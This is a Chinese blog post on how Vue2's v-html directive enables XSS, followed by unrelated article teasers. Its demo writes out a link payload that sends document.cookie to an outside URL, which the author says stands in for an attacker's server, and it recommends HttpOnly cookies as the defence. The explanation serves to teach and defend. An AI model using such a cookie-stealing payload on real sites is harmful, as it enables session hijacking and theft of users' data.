当前位置： 首页 > news >正文

Vue2中v-html引发的安全问题

news 2026/2/10 20:18:03

前言：v-html指令

1.作用：向指定节点中渲染包含html结构的内容。

2.与插值语法的区别：

  (1).v-html会替换掉节点中所有的内容，{{xx}}则不会。

  (2).v-html可以识别html结构。

3.严重注意：v-html有安全性问题！！！！

   (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。

    (2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！

一、代码

制作一个模拟页面，使用v-html在页面中插入“jack”，jack的href属性写为：javascript:location.href="http://www.baidu.com?"+document.cookie ，其中百度的地址为模拟地址，真实场景中应该为诈骗人员收集信息的靶机，document.cookie命令将会获得页面的全部cookie,并以参数的形式通过URL传递给靶机。

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-html指令</title><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><div v-html="jack"></div></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{jack:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点我！</a>',}})</script>
</html>

二、页面

通过vue本地环境打开页面，为了模拟效果，在cookies中模拟数据，添加2条数据。

 

三、运行结果 

点击页面的“点我”，浏览器跳转到百度页面，观察url，发现模拟的cookie数据当做参数被传递给了百度。

四、安全设置

当浏览器cookie的HttpOnly设置为 √ 时，就表示只能通过Http请求的方式传递，Cookie才能够被读取，其他时候是不行的，所以并不是任何时候，都可以通过JavaScript去读取Cookie。若网站没有将一些重要的用户信息设置为HttpOnly，这就会导致cookie的泄漏。 

相关文章：

Vue2中v-html引发的安全问题

前言&#xff1a;v-html指令 1.作用&#xff1a;向指定节点中渲染包含html结构的内容。 2.与插值语法的区别&#xff1a; (1).v-html会替换掉节点中所有的内容&#xff0c;{{xx}}则不会。 (2).v-html可以识别html结构。 3.严重注意&#xff1a;v-html有安全性问题&#xff0…...

编程日记 2023/12/7 2:56:40

java内部类详解

文章目录 一、介绍二、为什么要使用内部类三、非静态内部类四、静态内部类五、局部内部类六、匿名内部类七、lambda表达式内部类八、成员重名九、序列化十、如何选择内部类 一、介绍 在java中&#xff0c;我们被允许在编写一个类(外部类OuterClass)时&#xff0c;在其内部再嵌…...

编程日记 2023/12/7 2:55:39

Python 潮流周刊#29：Rust 会比 Python 慢？！

△请给“Python猫”加星标 &#xff0c;以免错过文章推送 你好&#xff0c;我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容&#xff0c;大部分为英文。本周刊开源&#xff0c;欢迎投稿[1]。另有电报频道[2]作为副刊&#xff0c;补充发布更加丰富的资讯。 &#x1f43…...

编程日记 2023/12/7 2:52:37

吴恩达《机器学习》11-1-11-2:首先要做什么、误差分析

一、首先要做什么 选择特征向量的关键决策 以垃圾邮件分类器算法为例&#xff0c;首先需要决定如何选择和表达特征向量 &#x1d465;。视频提到的一个示例是构建一个由 100 个最常出现在垃圾邮件中的词构成的列表&#xff0c;根据这些词是否在邮件中出现来创建特征向量&…...

编程日记 2023/12/7 2:51:36

Pandas在Excel同一个sheet里插入多个Dataframe和行

Pandas默认的to_excel是直接把完成的Datafrme写入一个sheet里，这并不能满足我们在一个sheet里插入多个Dataframe或多行的需求。为了实现插入多行或多Dataframe的目的，我们需要新建一个ExcelWriter对象，然后依次插入数据。 这里我们以插入2个Dataframe和三行单元格为例。 新…...

编程日记 2023/12/7 2:50:35

查看mysql 或SQL server 的连接数，mysql超时、最大连接数配置

1、mysql 的连接数 1.1、最大可连接数 show variables like max_connections; 1.2、运行中连接数 show status like Threads_connected; 1.3、配置最大连接数&#xff0c; mysql版本不同可配置的最大连接数不同&#xff0c;mysql8.0的版本默认151个连接数&#xff0c;…...

编程日记 2023/12/7 2:49:34

C++学习之路（七）C++ 实现简单的Qt界面（消息弹框、按钮点击事件监听）- 示例代码拆分讲解

这个示例创建了一个主窗口&#xff0c;其中包含两个按钮。第一个按钮点击时会显示一个简单的消息框&#xff0c;第二个按钮点击时会执行一个特定的操作&#xff08;在这个例子中&#xff0c;仅打印一条调试信息&#xff09;。 功能描述&#xff1a; 创建窗口和布局&#xff1a;…...

编程日记 2023/12/7 2:45:32

python实现一个计算器

实现一个计算器首先熟悉一下这个阅读器的属性import subprocess subprocess.run(["espeak", "-v", "enf3", "This is a Calculator"])class Calculator:def speaker(self,word):subprocess.run(["espeak", "-v", …...

编程日记 2023/12/7 2:40:26

C++ 共享内存ShellCode跨进程传输

在计算机安全领域&#xff0c;ShellCode是一段用于利用系统漏洞或执行特定任务的机器码。为了增加攻击的难度&#xff0c;研究人员经常探索新的传递ShellCode的方式。本文介绍了一种使用共享内存的方法&#xff0c;通过该方法&#xff0c;两个本地进程可以相互传递ShellCode&am…...

编程日记 2023/12/7 2:38:25

如何快速移植（从STM32F103到STM32F407）

最近用到F4的地方比较多&#xff0c;网上代码还是F1多一些&#xff0c;便需要移植代码&#xff0c;如何快速移植代码呢&#xff1f; 看下面这篇文章 外设 首先就是STM32的外设了。 STM32F407ZGT6的基本外设 STM32F407ZGT6 作为 MCU&#xff0c;该芯片是 STM32F407 里面配置…...

编程日记 2023/12/7 2:37:24

python高级练习题库实验1（B）部分

文章目录 题目1代码实验结果题目2代码实验结果题目3代码实验结果题目4代码实验结果题目5代码实验结果题目总结题目1 打包糖果小游戏，用户输入糖果品牌与个数，还有一个盒子里面可以装多少个糖果，输出一些打印信息，如下图所示： 代码 print("Packaging lollies into…...

编程日记 2023/12/7 2:31:18

Qt Rsa 加解密方法使用(pkcs1， pkcs8, 以及文件存储和内存存储密钥)

Qt RSA 加解密 完整使用 密钥格式&#xff1a; pkcs#1pkcs#8 如何区分密钥对是PKCS1还是PKCS8&#xff1f; 通常PKCS1密钥对的开始部分为&#xff1a;-----BEGIN RSA PRIVATE KEY-----或 -----BEGIN RSA PUBLIC KEY-----。而PKCS8密钥对的开始部分为&#xff1a;-----BEGIN…...

编程日记 2023/12/7 2:29:17

区分物理端口与软件端口概念：以交换机端口和Linux系统中的端口为例

文章目录 交换机端口和Linux系统中的端口有什么区别&#xff1f;1. 交换机的端口2. Linux系统中的端口因此&#xff0c;尽管两者都被称为"端口"&#xff0c;但它们代表的含义和用途是完全不同的。 交换机端口和Linux系统中的端口有什么区别&#xff1f; 虽然都被称为…...

编程日记 2023/12/7 2:28:16

力扣226：翻转二叉树

力扣226&#xff1a;翻转二叉树 给你一棵二叉树的根节点 root &#xff0c;翻转这棵二叉树&#xff0c;并返回其根节点。 示例 1&#xff1a; 输入&#xff1a;root [4,2,7,1,3,6,9] 输出&#xff1a;[4,7,2,9,6,3,1] 示例 2&#xff1a; 输入&#xff1a;root [2,1,3]…...

编程日记 2023/12/7 2:26:14

亚马逊鲲鹏系统智能自动注册与AI角色养号，探索数字化新境界

在数字化时代&#xff0c;亚马逊鲲鹏系统以其强大的自动化功能&#xff0c;为用户提供了前所未有的购物体验。如果你想利用鲲鹏系统进行自动化注册&#xff0c;那么准备好邮箱、IP、手机号等关键信息后&#xff0c;你将轻松实现自动注册&#xff0c;为购物之旅开启智能化新篇章…...

编程日记 2023/12/7 2:21:09

AOP操作日志记录

AOP操作日志记录 1.创建注解 Retention(RetentionPolicy.RUNTIME) Target(ElementType.METHOD) public interface PassportLog {String operatePage();String operateType();ClassTypEnum classType();}2.创建切面 对于字典&#xff0c;可以通过注解属性去转换&#xff0c;枚举…...

编程日记 2023/12/7 2:19:07

Linux C语言 42-进程间通信IPC之网络通信（套接字）

Linux C语言 42-进程间通信IPC之网络通信&#xff08;套接字&#xff09; 本节关键字&#xff1a;C语言 进程间通信 网络通信 套接字 TCP UDP 相关库函数&#xff1a;socket、bind、listen、accept、send、recv、sendto、recvfrom 参考之前的文章 Linux C语言 30-套接字操作…...

编程日记 2023/12/7 2:09:59

微服务知识大杂烩

1.什么是微服务？ 微服务（Microservices）是一种软件架构风格，将一个大型应用程序划分为一组小型、自治且松耦合的服务。每个微服务负责执行特定的业务功能，并通过轻量级通信机制（如HTTP）相互协作。每个微服务可以独立开发、部署和扩展，使得应用程序更加灵活、可伸缩和可…...

编程日记 2023/12/7 2:05:56

记录一次vscode markdown的图片路径相关插件学习配置过程

插件及说明查找过程 csdn搜索markdown图片路径&#xff0c;找到关于这一款插件的回答。打开vscode拓展搜索Paste Image这款插件&#xff0c;看到下载量挺高的&#xff0c;应该不赖。 点击仓库,进入该插件开源的github仓库,查看README文件阅读说明. 淡然在Vscode 插件项目下的细…...

编程日记 2023/12/7 2:02:54

设计原则 | 依赖转置原则

一、依赖转置原则&#xff08;DIP&#xff1a;Dependence Inversion Principle&#xff09; 1、原理 高层模块不应该依赖低层模块&#xff0c;二者都应该依赖于抽象抽象不应该依赖于细节&#xff0c;细节应该依赖于抽象 2、层次化 Booch曾经说过&#xff1a;所有结构良好的面…...

编程日记 2023/12/7 2:01:53

synchronized 学习

学习源&#xff1a; https://www.bilibili.com/video/BV1aJ411V763?spm_id_from333.788.videopod.episodes&vd_source32e1c41a9370911ab06d12fbc36c4ebc 1.应用场景 不超卖&#xff0c;也要考虑性能问题&#xff08;场景&#xff09; 2.常见面试问题&#xff1a; sync出…...

编程新知 2025/12/14 17:38:17

Leetcode 3576. Transform Array to All Equal Elements

Leetcode 3576. Transform Array to All Equal Elements 1. 解题思路2. 代码实现 题目链接&#xff1a;3576. Transform Array to All Equal Elements 1. 解题思路 这一题思路上就是分别考察一下是否能将其转化为全1或者全-1数组即可。 至于每一种情况是否可以达到&#xf…...

编程新知 2025/9/17 7:25:07

ubuntu搭建nfs服务centos挂载访问

在Ubuntu上设置NFS服务器 在Ubuntu上&#xff0c;你可以使用apt包管理器来安装NFS服务器。打开终端并运行&#xff1a; sudo apt update sudo apt install nfs-kernel-server创建共享目录 创建一个目录用于共享&#xff0c;例如/shared&#xff1a; sudo mkdir /shared sud…...

编程新知 2026/2/6 23:18:59

Zustand 状态管理库：极简而强大的解决方案

Zustand 是一个轻量级、快速和可扩展的状态管理库&#xff0c;特别适合 React 应用。它以简洁的 API 和高效的性能解决了 Redux 等状态管理方案中的繁琐问题。 核心优势对比 基本使用指南 1. 创建 Store // store.js import create from zustandconst useStore create((set)…...

编程新知 2026/2/8 10:56:57

Mybatis逆向工程，动态创建实体类、条件扩展类、Mapper接口、Mapper.xml映射文件

今天呢&#xff0c;博主的学习进度也是步入了Java Mybatis 框架&#xff0c;目前正在逐步杨帆旗航。 那么接下来就给大家出一期有关 Mybatis 逆向工程的教学&#xff0c;希望能对大家有所帮助&#xff0c;也特别欢迎大家指点不足之处&#xff0c;小生很乐意接受正确的建议&…...

编程新知 2026/1/31 15:00:15

基于Java Swing的电子通讯录设计与实现：附系统托盘功能代码详解

JAVASQL电子通讯录带系统托盘 一、系统概述 本电子通讯录系统采用Java Swing开发桌面应用&#xff0c;结合SQLite数据库实现联系人管理功能&#xff0c;并集成系统托盘功能提升用户体验。系统支持联系人的增删改查、分组管理、搜索过滤等功能&#xff0c;同时可以最小化到系统…...

编程新知 2025/10/4 20:58:43

android13 app的触摸问题定位分析流程

一、知识点 一般来说，触摸问题都是app层面出问题，我们可以在ViewRootImpl.java添加log的方式定位；如果是touchableRegion的计算问题，就会相对比较麻烦了，需要通过adb shell dumpsys input > input.log指令，且通过打印堆栈的方式，逐步定位问题，并找到修改方案。 问题…...

编程新知 2026/1/31 13:18:31

提升移动端网页调试效率：WebDebugX 与常见工具组合实践

在日常移动端开发中&#xff0c;网页调试始终是一个高频但又极具挑战的环节。尤其在面对 iOS 与 Android 的混合技术栈、各种设备差异化行为时&#xff0c;开发者迫切需要一套高效、可靠且跨平台的调试方案。过去&#xff0c;我们或多或少使用过 Chrome DevTools、Remote Debug…...

编程新知 2025/6/10 21:08:23

【C++】纯虚函数类外可以写实现吗？

1. 答案 先说答案&#xff0c;可以。 2.代码测试 .h头文件 #include <iostream> #include <string>// 抽象基类 class AbstractBase { public:AbstractBase() default;virtual ~AbstractBase() default; // 默认析构函数public:virtual int PureVirtualFunct…...

编程新知 2026/2/7 17:44:12

HTML前端开发：JavaScript 获取元素方法详解

作为前端开发者&#xff0c;高效获取 DOM 元素是必备技能。以下是 JS 中核心的获取元素方法&#xff0c;分为两大系列&#xff1a; 一、getElementBy... 系列 传统方法&#xff0c;直接通过 DOM 接口访问&#xff0c;返回动态集合&#xff08;元素变化会实时更新&#xff09;。…...

编程新知 2025/10/6 18:44:24